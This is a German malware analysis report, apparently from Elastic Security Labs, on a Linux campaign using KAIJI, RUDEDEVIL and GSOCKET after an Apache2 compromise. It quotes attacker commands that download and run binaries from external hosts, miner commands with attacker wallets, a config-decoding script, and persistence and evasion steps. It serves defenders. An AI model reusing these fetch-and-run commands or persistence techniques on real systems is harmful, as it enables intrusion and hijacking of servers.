Einführung
In den letzten Monaten haben die Elastic Security Labs eine ausgeklügelte Linux-Malware-Kampagne aufgedeckt, die auf anfällige Server abzielt. Die Angreifer initiierten die Kompromittierung im März 2024 , indem sie einen Apache2-Webserver ausnutzten. Beim ersten Zugriff setzten die Bedrohungsakteure ein komplexes Intrusionsset ein, um Persistenz aufzubauen und ihre Kontrolle über den kompromittierten Host zu erweitern.
Die Bedrohungsakteure verwendeten eine Mischung aus Tools und Malware, darunter C2-Kanäle, die als Kernel-Prozesse getarnt waren, Telegramm-Bots für die Kommunikation und Cron-Jobs für die geplante Aufgabenausführung. Insbesondere setzten sie mehrere Malware-Familien wie KAIJI und RUDEDEVIL neben speziell geschriebener Malware ein. KAIJI, bekannt für seine DDoS-Fähigkeiten, und RUDEDEVIL, ein Kryptowährungs-Miner, wurden verwendet, um Systemressourcen für böswillige Zwecke auszunutzen.
Unsere Untersuchung ergab ein potenzielles Bitcoin/XMR-Mining-Schema, das Glücksspiel-APIs nutzt, was darauf hindeutet, dass die Angreifer möglicherweise Geldwäscheaktivitäten mit kompromittierten Hosts durchführen. Wir erhielten auch Zugang zu einer Dateifreigabe, in der täglich neue KAIJI-Samples mit bisher unveröffentlichten Hashes hochgeladen wurden, was auf eine aktive Entwicklung und Anpassung durch die Malware-Autoren hindeutet.
Diese Forschungspublikation befasst sich mit den Details der Kampagne und bietet eine umfassende Analyse der Taktiken, Techniken und Verfahren der Angreifer. Wir untersuchen, wie sie den Erstzugriff eingerichtet haben, welche Methoden für die Persistenz und Rechteausweitung verwendet wurden und welche Malware in jeder Phase eingesetzt wurde. Darüber hinaus diskutieren wir die Befehls- und Kontrollinfrastruktur, einschließlich der Verwendung von GSOCKET und Telegram für die heimliche Kommunikation.
Ablauf der Ausführung
Erstzugriff
Unser Team beobachtete einen Host, der im März 2024 zunächst kompromittiert wurde, indem er die Ausführung willkürlichen Codes auf einem Server mit Apache2 erhielt. Ein Beweis für diese Kompromittierung ist die Ausführung des Befehls id
über den Apache2-Prozess, woraufhin der Bedrohungsakteur den Webserver ausnutzt und KAIJI-Malware unter dem www-data
-Benutzerkonto einsetzt.
Kurz nach der Kaiji-Bereitstellung nutzte der Angreifer das www-data
-Konto, um ein Skript mit dem Namen 00.sh
von der URL http://61.160.194[.]160:35130
herunterzuladen, die nach weiteren Untersuchungen auch mehrere Versionen der RUDEDEVIL-Malware hostete.
00.sh
ist ein Stager, der:
- Legt die Standardshell und PATH fest.
- Löscht mehrere Protokolldateien, um Ausführungsspuren zu löschen.
- Nutzt
ps
,netstat
,lsof
und eine Liste gängiger Mining-Prozessnamen, um potenzielle Mining-Konkurrenz auf dem kompromittierten Host zu unterbinden. - Löscht die
iptables
Regeln auf dem Host, legt mehrereiptables
Regeln fest, um Verbindungen zu bestimmten Zielports und Mining-Pools zu blockieren, und deaktiviertiptables
. - Schließlich wird eine zweite Phase (
sss6
/sss68
) heruntergeladen und ausgeführt, und die Ausführungsspuren werden gelöscht.
Die folgende Abbildung zeigt eine komprimierte Version des Stagers. Zeilen, die mit [...]
versehen sind, werden gekürzt, um die Lesbarkeit zu verbessern.
Dateiserver
Über den Backdoor-Webserver-Prozess lud der Angreifer Malware herunter und führte sie mit dem folgenden Befehl aus:
sh -c wget http://107.178.101[.]245:5488/l64;chmod 777 l64;./l64;rm -r l64;wget http://107.178.101[.]245:5488/l86;chmod 777 l86;./l86;rm -r l86
Die l64
und l86
Dateien werden von http://107.178.101[.]245:5488
heruntergeladen, woraufhin ihnen alle Berechtigungen erteilt, ausgeführt und entfernt werden. Wenn wir uns den Server ansehen, auf dem diese Malware-Samples gehostet werden, sehen wir Folgendes:
Dabei scheint es sich um einen Dateiserver zu handeln, der verschiedene Arten von Malware für verschiedene Architekturen hostet. Der Dateiserver nutzt die Rejetto-Technologie. Diese Malware hat Upload-Daten und Download-Zähler. Zum Beispiel wurde die download.sh
Datei, die am 10. September hochgeladen wurde, bereits 3.100 Mal heruntergeladen.
RUDEDEVIL/LUZIFER
Bei genauerer Betrachtung wurde die heruntergeladene und ausgeführte Datei sss6
als RUDEDEVIL Malware identifiziert. Zu Beginn des Ausführungsprozesses stoßen wir auf eine eingebettete Nachricht, die für diese Malware-Familie charakteristisch ist:
Hi, man. I\'ve seen several organizations report my Trojan recently,
Please let me go. I want to buy a car. That\'s all. I don\'t want to hurt others.
I can\'t help it. My family is very poor. In China, it\'s hard to buy a suite.
I don\'t have any accommodation. I don\'t want to do anything illegal.
Really, really, interested, you can give me XmR, my address is 42cjpfp1jJ6pxv4cbjxbbrmhp9yuzsxh6v5kevp7xzngklnutnzqvu9bhxsqbemstvdwymnsysietq5vubezyfoq4ft4ptc,
thank yo
Wir weisen darauf hin, dass die Dateien l64
und l86
, die auf dem Dateiserver gehostet werden, dieselbe Malware enthalten. Bei der Analyse des Ausführungsablaufs der Malware sehen wir, dass die Hauptfunktion der Malware mehrere wichtige Aufgaben erfüllt:
- Daemon-Initialisierung: Der Prozess wird mit Hilfe von
daemon(1, 0)
in einen Daemon umgewandelt. - Socket-Erstellung: Ein Socket wird erstellt und an einen bestimmten Port gebunden.
- Signalverarbeitung: Benutzerdefinierte Signalhandler werden für verschiedene Signale eingerichtet.
- Initialisierung des Dienstes: Mehrere Dienste werden mit
SetFILE
gestartet. - Handhabung von Berechtigungen: Es prüft auf Root-Rechte und passt die Ressourcengrenzen entsprechend an.
- Entschlüsselung: Die Schadsoftware entschlüsselt ihre Konfigurationsblobs.
- Thread-Erstellung: Mehrere Threads werden für Aufgaben wie Mining, Beenden von Prozessen und Überwachen der Netzwerk- und CPU-Auslastung erzeugt.
- Hauptschleife: Das Programm tritt in eine Endlosschleife ein, in der es sich wiederholt mit einem Server verbindet und für eine bestimmte Dauer in den Ruhezustand versetzt wird.
Bei der Untersuchung der Verschlüsselungsroutine stellen wir fest, dass sie eine XOR-basierte Codierung verwendet:
Um die Inhalte statisch zu dekodieren, haben wir ein grundlegendes Python-Snippet entwickelt:
def DecryptData(data_block, encryption_key):
key_modifier = encryption_key & 0xFF
key_index = key_modifier // 0x5F # 0x5F = 95 in decimal
modifier = (key_modifier - (key_index * 0x5F)) + 0x58 # 0x58 = 88 in decimal
for i in range(len(data_block)):
data_block[i] ^= modifier
data_block[i] &= 0xFF # Ensure 8-bit value
data_block[i] += modifier
data_block[i] &= 0xFF # Ensure 8-bit value
return data_block
# Encoded data as hex strings
encoded_data = [
'4c494356515049490c467978',
'0d4f1e4342405142454d0b42534e380f0f5145424f0c53034e4f4f4a0c4f40573801393939391e0d451e020141303727222026254f252d372643400706314955032a593330233237587951215553552d464c0101414939514401515258414324273340254756564741404207004122782d50475555412d503106394d4c34554e48513926352054362a1e0d4e1e20',
'0f424d4e0f435536575649484b',
'5642424e380f0f5654430c42014a494c45460c534f4d38070602050f435352434356544b',
]
encryption_key = 0x03FF # 1023 in decimal
# Process and decrypt each encoded data string
for data in encoded_data:
# Convert hex string to list of integers
data_bytes = bytes.fromhex(data)
data_block = list(data_bytes)
# Decrypt the data
decrypted_block = DecryptData(data_block, encryption_key)
# Convert decrypted data back to bytes
decrypted_bytes = bytes(decrypted_block)
print("Decrypted text:", decrypted_bytes.decode('utf-8', errors='ignore'))
Nach der Dekodierung der Konfiguration werden die folgenden Werte angezeigt:
- Der erste Wert C2-Domäne
nishabii[.]xyz
. - Der zweite Wert zeigt Optionen an, die an XMRIG übergeben werden.
- Der dritte Wert zeigt den Speicherort der temporären Datei an, den die Malware verwendet.
- Die vierte und letzte Zeichenfolge zeigt den Download-Speicherort für die XMRIG-Binärdatei an.
Thread-Management in der Malware
Die Malware initiiert mehrere Threads, um ihre Kernvorgänge zu erledigen. Schauen wir uns an, wie einige dieser Funktionen im Detail funktionieren.
Die KillPid-Funktion verstehen
In einem der Threads wird die KillPid-Funktion ausgeführt, mit der Prozesse kontinuierlich überwacht und verwaltet werden können. Die Funktion beginnt mit dem Trennen des aktuellen Threads, sodass sie im Hintergrund ausgeführt werden kann, ohne andere Prozesse zu blockieren. Anschließend tritt er in eine Endlosschleife ein und führt seine Aufgaben wiederholt aus.
Das Herzstück seiner Funktionalität ist ein Array namens sb_name
, das die Namen der Prozesse enthält, die die Malware beenden möchte.
Alle zwei Sekunden überprüft die Funktion das System auf Prozesse, die in diesem Array aufgeführt sind, und ruft ihre Prozess-IDs (PIDs) mit einer Hilfsfunktion namens getPidByName
ab. Nach jeder Iteration wird zum nächsten Prozess in der Liste gewechselt, um sicherzustellen, dass alle Prozesse in sb_name
verarbeitet werden.
Interessanterweise wechselt die Funktion nach der Verarbeitung aller Elemente im Array für 600 Sekunden – etwa 10 Minuten – in einen erweiterten Ruhezustand, bevor sie ihre Prozessüberprüfungen fortsetzt. Diese verlängerte Ruhephase wird wahrscheinlich implementiert, um Systemressourcen zu schonen und sicherzustellen, dass die Malware bei der Überwachung von Prozessen nicht zu viel CPU-Zeit verbraucht.
Die Funktion der Get_Net_Messages verstehen
Ein weiterer wichtiger Thread ist für die Überwachung des Netzwerkverkehrs verantwortlich, wobei der Schwerpunkt auf der eth0
Netzwerkschnittstelle liegt. Diese Funktionalität wird von der Funktion getOutRates
übernommen. Die Funktion beginnt mit dem Einrichten der erforderlichen Variablen und dem Öffnen der /proc/net/dev
Datei, die detaillierte Netzwerkstatistiken für jede Schnittstelle enthält.
Wird die Datei erfolgreich geöffnet, liest die Malware einen Datenblock – bis zu 1024 Byte – und verarbeitet ihn, um die relevanten Netzwerkstatistiken zu extrahieren. Es sucht speziell nach der eth0
Schnittstelle und analysiert die Daten der Ausgaberate mit einer standardmäßigen Zeichenfolgenanalysemethode. Wenn dies erfolgreich ist, gibt die Funktion die Ausgaberate für eth0
; Andernfalls wird 0
zurückgegeben, um sicherzustellen, dass die Malware auch dann weiterhin funktioniert, wenn ein Fehler auftritt.
Diese Routine ermöglicht es der Malware, die Netzwerkaktivität des infizierten Rechners unbemerkt zu überwachen, wahrscheinlich um Daten zu verfolgen, die über die Schnittstelle gesendet oder empfangen werden.
Die Funktion der Get_Cpu_Message verstehen
Für die CPU-Überwachung nutzt die Malware die Funktion GetCpuRates
. Diese Funktion überwacht kontinuierlich die CPU-Auslastung, indem sie Daten aus /proc/stat
liest. Ähnlich wie bei der Verarbeitung der Netzwerkdaten werden die CPU-Statistiken gelesen und analysiert, sodass die Malware die CPU-Auslastung des Systems berechnen kann.
Die Funktion arbeitet in einer Endlosschleife und schläft zwischen jeder Iteration eine Sekunde lang, um eine Überlastung des Systems zu vermeiden. Wenn die Datei aus irgendeinem Grund nicht geöffnet werden kann, protokolliert die Funktion einen Fehler und wird ordnungsgemäß beendet. Solange sie jedoch in der Lage ist, die Datei zu lesen, überwacht sie kontinuierlich die CPU-Auslastung und stellt sicher, dass die Malware über die Systemleistung informiert bleibt.
Die Funktion der Send_Host_Message verstehen
Der vielleicht kritischste Thread ist derjenige, der für das Zurücksenden von Systeminformationen an die Malware-Betreiber verantwortlich ist. Die Funktion _SendInfo
führt diese Aufgabe aus, indem sie Daten über die CPU- und Netzwerkauslastung des infizierten Systems sammelt. Es beginnt mit dem Einrichten von Puffern und dem Vorbereiten von Dateipfaden, um die erforderlichen Daten zu sammeln. Je nach Status des Systems wird die CPU- und Netzwerkauslastung in eine Zeichenfolge formatiert.
Zusätzlich prüft die Funktion, ob ein bestimmter Prozess auf dem System läuft und passt die formatierte Nachricht entsprechend an. Schließlich sendet er diese formatierten Daten über eine Socket-Verbindung an den Command-and-Control-Server zurück.
Im Wesentlichen ermöglicht diese Funktion der Malware, den infizierten Computer aus der Ferne zu überwachen und wichtige Details wie CPU-Auslastung und Netzwerkaktivität zu sammeln. Die Betreiber können diese Informationen nutzen, um den Status ihrer Infektion zu beurteilen und ihre Aktivitäten bei Bedarf anzupassen.
Herstellen einer Verbindung mit dem Command-and-Control-Server (C2)
Sobald alle Threads aktiv sind, verlagert die Malware ihren Fokus auf den Aufbau einer Verbindung mit ihrem C2-Server. Dies wird von der Funktion ConnectServer
im Hauptthread verwaltet, die die Kommunikation mit dem Server übernimmt und Befehle remote ausführt.
Grundlegendes zur ConnectServer-Funktion
Die erste Aufgabe, die die Funktion ConnectServer
ausführt, besteht darin, mithilfe von ServerConnectCli
eine Verbindung zum C2-Server herzustellen. Nach erfolgreicher Verbindung konfiguriert die Malware den Socket so, dass Keep-Alive-Einstellungen aktiviert werden, um sicherzustellen, dass die Verbindung über längere Zeiträume stabil bleibt.
Sobald die Verbindung eingerichtet ist, sammelt die Malware verschiedene Systeminformationen, darunter den Hostnamen, Benutzerinformationen, CPU-Spezifikationen und Speicherdetails. Diese Informationen werden dann als erste Datennutzlast an den Server gesendet, um den Angreifern einen detaillierten Überblick über den infizierten Computer zu geben.
Nach dieser Ersteinrichtung tritt die Malware in eine fortlaufende Schleife ein, in der sie auf Befehle vom Server wartet und diese verarbeitet. Die Arten von Befehlen, die verarbeitet werden, sind vielfältig und können Aufgaben wie das Starten eines DDoS-Angriffs, das Stoppen oder Starten von CPU-intensiven Vorgängen, das Ausführen von Systembefehlen oder das Verwalten von Kryptowährungs-Mining-Aktivitäten umfassen. Die Schleife wird auf unbestimmte Zeit fortgesetzt und stellt sicher, dass die Malware bereit ist, jeden von ihren Betreibern gesendeten Befehl auszuführen.
Wenn die Verbindung nicht mehr benötigt wird oder wenn die Malware einen Beendigungsbefehl erhält, schließt sie den Socket ordnungsgemäß und beendet die Sitzung mit dem Server.
Befehls- und Steuerungsbefehle (C2)
Die Funktion ConnectServer
verarbeitet eine Vielzahl von Befehlen vom C2-Server, die jeweils dazu bestimmt sind, einen anderen Aspekt des infizierten Systems zu steuern. Hier ist eine Aufschlüsselung der Befehle, die von der Malware verarbeitet werden:
- Fall 4: Die Malware ruft die
DealwithDDoS
-Funktion auf und initiiert damit wahrscheinlich einen DDoS-Angriff (Distributed Denial of Service). - Fall 5: Legt die
StopFlag
auf1
fest, was der Malware signalisieren könnte, bestimmte Aufgaben zu beenden. - Fall 6: Lädt eine Datei mithilfe von
http_get
vom Server herunter, ändert ihre Berechtigungen und führt sie dann aus. Dieser Befehl ermöglicht es den Angreifern, zusätzliche Malware oder Skripte auf dem infizierten Computer auszuführen. - Fall 7: Führt einen Systembefehl mit der Funktion
system
aus und gibt den Angreifern direkte Kontrolle über die Befehlszeile des Systems. - Fall 8: Setzt
StopCpu
auf0
und startet alle zuvor angehaltenen CPU-Tasks neu. - Fall 9: Legt
StopCpu
auf1
fest, wodurch alle CPU-Aufgaben angehalten werden. - Fall 0xA: Aktualisiert die CPU-Mining-Konfiguration mit neuen Daten und ruft die PID des aktuellen Prozesses ab, sodass die Malware ihre Kryptowährungs-Mining-Operationen ändern kann.
- Fall 0xB: Setzt
stopxmr
auf1
, wodurch der XMRIG-Miner effektiv gestoppt wird. - Fall 0xC: Setzt
stopxmr
auf0
zurück und ruft die aktuelle Prozess-PID ab, wodurch die Miningaktivität fortgesetzt wird.
Jeder Befehl gibt den Malware-Betreibern eine genaue Kontrolle darüber, wie sich der infizierte Computer verhält, unabhängig davon, ob er an einem DDoS-Angriff teilnimmt, neue Malware ausführt oder Mining-Vorgänge verwaltet.
Varianten von RUDEDEVIL Malware und XMRIG-Konfiguration
Während der zuvor erwähnte Dateiserver aktiv war, beobachteten wir, dass mehrere Versionen der RUDEDEVIL-Malware hochgeladen wurden. Die Kernfunktionalität dieser Versionen blieb weitgehend gleich, wobei die einzige signifikante Abweichung die eingebetteten XMRIG-Befehle waren, die für das Kryptowährungs-Mining verwendet werden.
Jede Version der Malware wurde so konfiguriert, dass sie sich mit demselben Mining-Pool verbindet, c3pool.org
, jedoch mit geringfügigen Unterschieden in den Parametern, die an den XMRIG-Miner übergeben werden:
-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p R
-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p 2
-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p php
-o stratum+tcp://auto.c3pool[.]org:19999 -u 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc -p 0
Jeder dieser Befehle weist den Miner an, sich mit demselben Mining-Pool zu verbinden, gibt jedoch unterschiedliche Wallets oder Konfigurationen an. Durch die Untersuchung der c3pool
Anwendung haben wir bestätigt, dass beide XMR-Adressen, die diesen Befehlen zugeordnet sind, derzeit aktiv sind und im Mining sind.
Darüber hinaus konnten wir durch diese Analyse den Gesamtgewinn schätzen, der durch diese beiden Mining-Kampagnen erzielt wurde, was die finanziellen Auswirkungen der RUDEDEVIL-Malware und ihre Verbindung zu illegalen Kryptowährungs-Mining-Operationen hervorhebt.
GSOCKET
Um die Persistenz zu gewährleisten, lud der Bedrohungsakteur GSOCKET herunter und installierte es, ein Netzwerkdienstprogramm, das die verschlüsselte Kommunikation zwischen Computern ermöglicht, die sich hinter Firewalls oder NAT befinden. GSOCKET erstellt sichere, persistente Verbindungen über das Global Socket Relay Network (GSRN). Dieses Open-Source-Tool enthält Funktionen wie AES-256-Verschlüsselung, Unterstützung für Ende-zu-Ende-Kommunikationssicherheit und Kompatibilität mit SSH, Netcat und TOR, die verschlüsselte Dateiübertragungen, die Ausführung von Remote-Befehlen und sogar die Erstellung versteckter Dienste ermöglichen.
Obwohl GSOCKET nicht von Natur aus bösartig ist, können seine Funktionen für verdächtige Zwecke genutzt werden.
Nach der Bereitstellung führt GSOCKET mehrere Aktionen aus, um die Persistenz aufrechtzuerhalten und ihre Anwesenheit zu verbergen. Zuerst überprüft es das System auf aktive Kernel-Prozesse, um zu entscheiden, als welcher Prozess es getarnt wird:
Anschließend wird das /dev/shm/.gs-1000
Verzeichnis erstellt, um die Binärdatei herunterzuladen und im gemeinsam genutzten Speicher zu speichern. Darüber hinaus richtet es standardmäßig ein /htop
Verzeichnis unter /home/user/.config/htop/
ein, in dem sowohl die GSOCKET-Binärdatei als auch der geheime Schlüssel gespeichert werden, der für seine Operationen verwendet wird.
Als Nächstes wird ein Cron-Job eingerichtet, der die GSOCKET-Binärdatei mit dem geheimen Schlüssel jede Minute ausführt.
Die Binärdatei wird unter dem Namen eines Kernel-Prozesses mit dem Befehl exec -a [process_name]
ausgeführt, was die Fähigkeit, der Erkennung zu entgehen, weiter verbessert. Der Cron-Job enthält einen base64-codierten Befehl, der nach der Dekodierung sicherstellt, dass der Persistenzmechanismus regelmäßig ausgeführt und als legitimer Kernel-Prozess getarnt wird:
Beim Dekodieren der Nutzlast sehen wir, wie der defunct.dat
geheime Schlüssel als Argument zum Ausführen der defunct
Binärdatei verwendet wird, die durch die Verwendung exec -a
Befehls als [raid5wq]
maskiert wird:
Zusätzlich zur Verwendung von Cron-Jobs bietet GSOCKET die Möglichkeit, Persistenz durch Änderung des Shell-Profils, Run Control (rc.local
) und Systemd zu etablieren. GSOCKET listet potenzielle Persistenzspeicherorte auf:
GSOCKET unterstützt mehrere Webhooks, wie z. B. Telegram- oder Discord-Integrationen, die Fernsteuerung und Benachrichtigungen ermöglichen:
Schließlich stellt GSOCKET nach der Installation sicher, dass alle Dateien, die erstellt oder geändert werden, zeitgesteuert werden, um zu versuchen, alle Spuren der Installation zu löschen:
Diese Funktionen machen GSOCKET zu einem attraktiven Werkzeug für Bedrohungsakteure, die auf der Suche nach Tarnung und Persistenz sind. In dieser Kampagne wurde GSOCKET ausgenutzt, um verdeckte Kanäle zurück zu C2-Servern einzurichten und gleichzeitig zu versuchen, sich der Entdeckung zu entziehen.
Zusätzlich wurde eine PHP-Payload von einer externen IP abgerufen und als 404.php
gespeichert, die wahrscheinlich als Hintertür für zukünftige Zugriffe dient. Wir haben es nicht geschafft, diese Nutzlast zu erhalten.
Verweildauer nach der Kompromittierung
Nach einer dreiwöchigen Ruhephase ohne nennenswerte Aktivität nahmen die Bedrohungsakteure den Betrieb wieder auf, indem sie das integrierte Python3 nutzten, um eine umgekehrte Verbindung zu einem neuen Command-and-Control-Server herzustellen.
Nachdem Sie wieder Zugriff auf den Host erhalten hatten, wurde eine neuere Version der KAIJI-Malware bereitgestellt.
KAIJI-Malware: ein Vergleich zu früheren Samples
Bei der Untersuchung der Dateien auf dem erkannten Dateiserver haben wir ein Shell-Skript gesehen. Dieses Shell-Skript scheint die Hauptdatei zu sein, die in einer früheren Phase zum Herunterladen verwendet wird, um sicherzustellen, dass die richtige Architektur für das Opfer verwendet wird.
Das gleiche Shell-Skript ist in anderen Berichten zu finden, in denen dieses Skript zum Bereitstellen von KAIJI verwendet wird.
Im Rahmen unserer Untersuchung haben wir die auf dem Dateiserver gefundenen KAIJI-Malware-Samples analysiert und mit Samples verglichen, die von Black Lotus Labs im Jahr 2022 identifiziert wurden. Ihre detaillierte Analyse der Chaos
(KAIJI) finden Sie in ihrem Blogbeitrag hier.
Mit BinDiff, einem Binärvergleichstool, haben wir die Funktionen in den Binärdateien verglichen. Die Analyse ergab, dass der Code in unserer Stichprobe identisch mit der zuvor identifizierten KAIJI-Stichprobe aus dem Jahr 2022 war.
Obwohl der Code derselbe war, fiel ein entscheidender Unterschied auf: die C2-Serveradresse. Obwohl die Funktionalität in beiden Binärdateien konsistent blieb, wiesen sie auf unterschiedliche C2-Domänen hin.
Als wir tiefer in die Deassemblierung eintauchten, identifizierten wir eine Funktion namens main_Link
. Diese Funktion ist für die Entschlüsselung der C2-Serveradresse verantwortlich, die von der Malware verwendet wird.
Nach der Dekodierung sucht die Funktion nach dem |(odk)/*-
Postfix in der Adresse und entfernt es, sodass nur die C2-Domäne und der Port übrig bleiben. Dieser Prozess stellt sicher, dass die Malware mit ihrem C2-Server kommunizieren kann, obwohl sich die Adresse, die sie kontaktiert, zwischen den Samples ändern kann.
Angesichts der Tatsache, dass einige Ressourcen veröffentlicht wurden, die KAIJI statisch zurückentwickeln, werden wir uns stattdessen ein genaueres Bild von seinem Verhalten machen.
Nach der Ausführung erstellt KAIJI mehrere Dateien in den Verzeichnissen /etc/
und /dev/
/etc/id.services.conf
, /etc/32678
, /dev/.img
und /dev/.old
. Diese Skripts sind Orte zum Einrichten von Persistenz.
Es werden zwei Dienste eingerichtet, /etc/init.d/linux_kill
und crond.service
. crond.service
wird von Systemd ausgeführt, während linux_kill
für die SysVinit-Persistenz verwendet wird.
Nach dem erneuten Laden des Systemd-Daemons wird die erste Netzwerkverbindung zum C2 versucht.
Als Nächstes wird die Systemd Late generator
Dienstdatei erstellt. Weitere Informationen über die Funktionsweise von Systemd
und verschiedene Möglichkeiten, Persistenz durch diese Methode zu etablieren, finden Sie in unserer kürzlich erschienenen Blog-Serie Linux Detection Engineering - A primer on persistence mechanisms.
KAIJI erstellt die /boot/System.img.config
Datei, bei der es sich um eine ausführbare Datei handelt, die über die zuvor bereitgestellten Systemd
-Dienste ausgeführt wird. Diese Binärdatei ist neben anderen Binärdateien eine weitere Möglichkeit, Persistenz zu etablieren.
Als Nächstes passt KAIJI die SELinux
Richtlinien an, um nicht autorisierte Aktionen zuzulassen. Er durchsucht Überwachungsprotokolle nach verweigerten Vorgängen im Zusammenhang mit System.img.conf
, generiert eine neue SELinux
Richtlinie, um diese Aktionen zuzulassen, und installiert die Richtlinie mit erhöhter Priorität. Auf diese Weise umgeht die Malware Sicherheitsbeschränkungen, die normalerweise ihre Aktivität blockieren würden.
Darüber hinaus richtet es mehrere zusätzliche Formen der Persistenz über Bash-Profile ein und erstellt zwei weitere bösartige Artefakte. /usr/lib/libd1rpcld.so
und /.img
.
Gleich danach wird /etc/crontab
durch einen echo-Befehl geändert, um sicherzustellen, dass die /.img
Datei von root nach einem festgelegten Zeitplan ausgeführt wird.
KAIJI verschiebt weiterhin mehrere Standard-Systembinärdateien an ungewöhnliche Speicherorte und versucht, sich der Erkennung zu entziehen.
KAIJI verwendet den Befehl renice
, um PID 2957
, einer der von KAIJI gepflanzten ausführbaren Dateien, die höchstmögliche Priorität zu gewähren (auf einer Skala von -20 bis 19, wobei die niedrigste die höchste Priorität ist), um sicherzustellen, dass sie mehr CPU-Ressourcen erhält als andere Prozesse.
Um der Erkennung zu entgehen, setzte KAIJI die Bind-Mount-Technik ein, eine Methode zur Umgehung der Verteidigung, die böswillige Aktivitäten verschleiert, indem sie manipuliert, wie Verzeichnisse innerhalb des Systems bereitgestellt und angezeigt werden.
Schließlich sehen wir eine Spur von cron
Ausführung des /.img
, der zuvor in die /etc/crontab
Datei eingefügt wurde.
Die Saga geht weiter
Zwei Wochen später wurde die Apache-Backdoor wieder aktiv. Eine weitere Backdoor wurde über den www-data
Benutzer über den Apache2-Prozess mit dem Befehl heruntergeladen:
sh -c wget http://91.92.241[.]103:8002/gk.php
Der Inhalt dieser Nutzlast ist nicht bekannt. Zu diesem Zeitpunkt beobachteten wir Versuche einer manuellen Rechteausweitung, wobei die Angreifer pspy64
einsetzten. Pspy
ist ein Befehlszeilenwerkzeug für die Prozessschnüffelung auf Linux-Systemen, ohne dass Root-Rechte erforderlich sind. Es überwacht laufende Prozesse, einschließlich solcher, die von anderen Benutzern initiiert wurden, und erfasst Ereignisse wie die Ausführung von Cron-Jobs. Dieses Tool ist besonders nützlich für die Analyse von Systemaktivitäten, das Erkennen von Versuchen zur Eskalation von Berechtigungen und das Überwachen von Befehlen und Dateisysteminteraktionen, die von Prozessen in Echtzeit ausgelöst werden. Es wird häufig von Angreifern zur Aufklärung in Post-Compromise-Szenarien genutzt, um ihnen Einblick in Systemaufgaben und potenzielle Schwachstellen zu geben.
Bemerkenswert ist, dass pspy64
von der [rcu_preempt]
übergeordneten Seite ausgeführt wurde, was darauf hindeutet, dass die Bedrohungsakteure von der Nutzung der Webserver-Backdoor zur Verwendung der GSOCKET-Backdoor übergegangen waren.
Weitere Versuche der Privilegienausweitung betrafen die Ausnutzung von CVE-2021-4034
, auch bekannt als pwnkit
. Diese Schwachstelle betrifft die pkexec
-Komponente des PolicyKit-Pakets in Linux-Systemen, die es einem nicht privilegierten Benutzer ermöglicht, beliebigen Code mit Root-Rechten auszuführen. Durch die Ausnutzung dieser Schwachstelle kann ein Angreifer erhöhten Zugriff auf das System erhalten, was möglicherweise zur vollständigen Kontrolle über den betroffenen Computer führt.
Benutzerdefinierte Binärdateien
Unmittelbar danach versuchten die Angreifer, eine benutzerdefinierte Malware mit dem Namen apache2
herunterzuladen und apache2v86
von:
http://62.72.22[.]91/apache2
http://62.72.22[.]91/apache2v86
Wir haben Kopien dieser Dateien erhalten, die derzeit auf VirusTotal nicht erkannt werden. Bei der dynamischen Ausführung stellten wir jedoch Segmentierungsfehler fest, und unsere Telemetriedaten bestätigten die Segfault-Aktivität auf dem kompromittierten Host. Im Laufe einer Woche versuchte der Bedrohungsakteur mehr als 15 Mal, diese Binärdateien zu ändern, hochzuladen und auszuführen, aber aufgrund wiederholter Segfaults ist es unwahrscheinlich, dass es ihm gelungen ist, diese benutzerdefinierte Malware auszuführen.
Obwohl die Binärdateien nicht ausgeführt werden konnten, lieferten sie dennoch wertvolle Erkenntnisse während des Reverse Engineering. Wir entdeckten mehrere XOR-kodierte Zeichenketten in den Samples.
Der XOR-Schlüssel, der zum Codieren der Zeichenfolgen verwendet wurde, wurde als 0x79
(oder das Zeichen y
) identifiziert. Nachdem wir die Zeichenfolgen entschlüsselt hatten, entdeckten wir Fragmente eines HTTP-Anforderungsheaders, den die Malware zu erstellen versuchte:
/934d9091-c90f-4edf-8b18-d44721ba2cdc HTTP/1.1
sec-ch-ua: "Chromium";v="122", "Google Chrome";v="122", "Not-A.Brand";v="99
sec-ch-ua-platform: "Windows"
upgrade-insecure-requests: 1
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
referer: https://twitter[.]com
accept-language: ru,en-US;q=0.9
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.
Dies deutet darauf hin, dass die Malware dabei war, HTTP-Anfragen zu erstellen. Aufgrund der unvollständigen Natur der Header und der wiederholten Fehler bei der Ausführung ist jedoch klar, dass diese Software noch nicht vollständig entwickelt oder betriebsbereit war.
Zusätzliche Aufklärung
Die Angreifer verwendeten weiterhin Tools von The Hacker's Choice, indem siewhatserver.sh
herunterluden und ausführten.
Dieses Shell-Skript dient zum Sammeln und Anzeigen von Serverinformationen. Es extrahiert Details wie die vollqualifizierten Domänennamen (FQDNs) aus SSL-Zertifikaten, Nginx- und Apache-Konfigurationsdateien sowie Informationen zu Systemressourcen wie CPU- und Speicherauslastung, Virtualisierungsdetails und Netzwerkeinstellungen. Das Skript kann auch die letzten Aktivitäten zusammenfassen, einschließlich der zuletzt angemeldeten Benutzer und der derzeit überwachten Dienste.
Bergbau
Nach fast zwei Wochen manueller Ausnutzungsversuche stellten die Bedrohungsakteure ihre Bemühungen ein, die Berechtigungen zu erweitern, da sie wahrscheinlich keinen Root-Zugriff erhalten hatten. Stattdessen etablierten sie die Persistenz als www-data
Benutzer und nutzten GSOCKET, um eine SSL-Verbindung einzurichten, die als Kernel-Prozess namens [mm_percpu_wq]
getarnt war.
Nach der Dekodierung des Base64-Inhalts erhalten wir eine sehr vertraut aussehende Ausgabe:
